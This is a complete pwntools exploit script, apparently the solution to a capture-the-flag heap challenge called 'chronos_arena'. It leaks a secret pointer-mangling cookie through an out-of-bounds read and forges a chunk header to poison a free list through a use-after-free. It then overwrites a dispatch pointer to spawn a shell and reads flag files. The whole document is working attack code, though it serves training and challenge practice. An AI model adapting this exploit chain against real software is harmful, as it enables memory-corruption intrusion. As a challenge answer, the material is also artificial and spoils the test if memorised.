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146
Warriors-Pwn/exploit.py
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146
Warriors-Pwn/exploit.py
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#!/usr/bin/env python3
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from pwn import *
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import os
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import re
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import zlib
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ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
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DEFAULT_BIN = os.path.join(ROOT, "public", "chronos_arena")
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BINARY_PATH = args.BIN if args.BIN else DEFAULT_BIN
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context.binary = ELF(BINARY_PATH, checksec=False)
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context.terminal = ["tmux", "splitw", "-h"]
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LEAKED_COOKIE = None
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def forge_warrior(data, next_ptr):
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"""
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Build raw bytes for overwrite at (name-16) region:
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[checksum|pad|encrypted_next|name(64)]
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"""
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global LEAKED_COOKIE
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if LEAKED_COOKIE is None:
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raise ValueError("Cookie is not leaked yet")
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name = data.ljust(64, b"\x00")[:64]
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checksum = zlib.crc32(name) & 0xFFFFFFFF
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encrypted_next = (next_ptr ^ LEAKED_COOKIE) & 0xFFFFFFFFFFFFFFFF
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return p32(checksum) + p32(0) + p64(encrypted_next) + name
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def start():
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if args.REMOTE:
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host = args.HOST if args.HOST else "127.0.0.1"
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port = int(args.PORT) if args.PORT else 1337
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return remote(host, port)
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if args.GDB:
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return gdb.debug([BINARY_PATH], gdbscript="continue")
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return process([BINARY_PATH])
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class GameInteraction:
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def __init__(self, tube):
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self.io = tube
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def _choose(self, idx):
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self.io.sendlineafter(b"Chronos> ", str(idx).encode())
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def spawn(self, name):
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self._choose(1)
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self.io.sendlineafter(b"Warrior name: ", name)
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line = self.io.recvline().decode(errors="ignore").strip()
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m = re.search(r"Slot\s+(\d+)\s+awakened", line)
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if not m:
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raise RuntimeError(f"Unexpected spawn output: {line}")
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return int(m.group(1))
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def sacrifice(self, slot):
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self._choose(2)
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self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
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self.io.recvline()
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def rename(self, slot, shift, blob):
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self._choose(5)
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self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
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self.io.sendlineafter(b"Rune shift (-16..16): ", str(shift).encode())
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self.io.sendlineafter(b"Rune length (0..80): ", str(len(blob)).encode())
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self.io.sendafter(b"Raw inscription bytes: ", blob)
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self.io.send(b"\n")
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self.io.recvline()
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def scout(self, slot, shift, length):
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self._choose(3)
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self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
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self.io.sendlineafter(b"Scout offset (-24..96): ", str(shift).encode())
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self.io.sendlineafter(b"Vision length (0..120): ", str(length).encode())
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self.io.recvuntil(b"Vision: ")
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hex_line = self.io.recvline().strip().decode()
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leaked = bytes.fromhex(hex_line)
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return leaked
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def rewind(self, anchor):
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self._choose(4)
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self.io.sendlineafter(b"Rewind to anchor: ", str(anchor).encode())
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self.io.recvline()
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def invoke_core(self):
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self._choose(6)
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def main():
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global LEAKED_COOKIE
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elf = context.binary
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io = start()
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game = GameInteraction(io)
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target = elf.symbols["g_bridge"]
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oracle = elf.symbols["summon_oracle"]
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log.info("Stage 1: create free chunk and resurrect it via rewind")
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s0 = game.spawn(b"alpha")
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log.info(f"spawned slot={s0}")
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game.sacrifice(s0)
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game.rewind(1)
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log.info("Stage 2: leak SECRET_COOKIE from encrypted_ptr via Scout")
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leak = game.scout(s0, -8, 8)
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LEAKED_COOKIE = u64(leak.ljust(8, b"\x00"))
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log.success(f"cookie = {hex(LEAKED_COOKIE)}")
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log.info("Stage 3: forge warrior header and poison free list")
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forged = forge_warrior(b"time-smith", target)
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game.rename(s0, -16, forged)
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s1 = game.spawn(b"reclaim-1")
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log.info(f"reclaim spawn slot={s1}")
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s2 = game.spawn(b"bridge")
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log.info(f"poisoned spawn slot={s2}")
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log.info("Stage 4: overwrite Chronos dispatch pointer inside forged allocation")
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payload = b"A" * 24 + p64(oracle)
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game.rename(s2, 0, payload)
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log.info("Stage 5: invoke dispatch and get shell")
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game.invoke_core()
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if args.INTERACTIVE:
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io.interactive()
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return
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io.sendline(b"id")
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io.sendline(b"cat /app/flag.txt || cat deploy/flag.txt || cat flag.txt")
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io.sendline(b"exit")
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print(io.recvrepeat(1.0).decode(errors="ignore"))
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if __name__ == "__main__":
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main()
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